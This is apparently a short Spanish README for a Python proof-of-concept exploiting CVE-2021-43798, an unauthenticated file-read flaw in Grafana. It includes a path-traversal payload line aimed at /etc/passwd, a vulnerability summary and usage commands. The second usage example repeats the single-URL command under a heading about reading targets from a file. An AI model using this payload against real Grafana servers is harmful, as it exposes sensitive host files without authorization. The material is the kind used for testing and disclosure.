
POC de la vulnerabilidad de lectura arbitraria de archivos CVE-2021-43798 en Grafana, que emplea un método de detección por rotación entre múltiples complementos y permite especificar una única URL o leer URLs desde un archivo.
Si el objeto es procesado a través de un proxy inverso, se puede reemplazar el payload por esta línea
url1 = url +"/public/plugins/"+str.rstrip(plugins)+"/#/../..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd"
Grafana es una plataforma de aplicación web de visualización de datos de código abierto y multiplataforma. Después de que el usuario configura la fuente de datos conectada, Grafana puede mostrar gráficos de datos y alertas en el navegador web.
Grafana presenta una vulnerabilidad de lectura arbitraria de archivos sin autorización. Un atacante puede leer cualquier archivo del host a través de esta vulnerabilidad sin necesidad de autenticación.
CVE: CVE-2021-43798
Componente: Grafana
Tipo de vulnerabilidad: Lectura de archivos
Impacto: Obtención de información sensible
Resumen: Un atacante no autorizado puede aprovechar esta vulnerabilidad para obtener archivos sensibles del servidor
python3 grafana_fileread.py -u http://localhost:3000
Los datos obtenidos pueden consultarse en el archivo grafana 8.x_fileread_vuln.txt
2. Detectar las IP de un archivo
python3 grafana_fileread.py -u http://localhost:3000

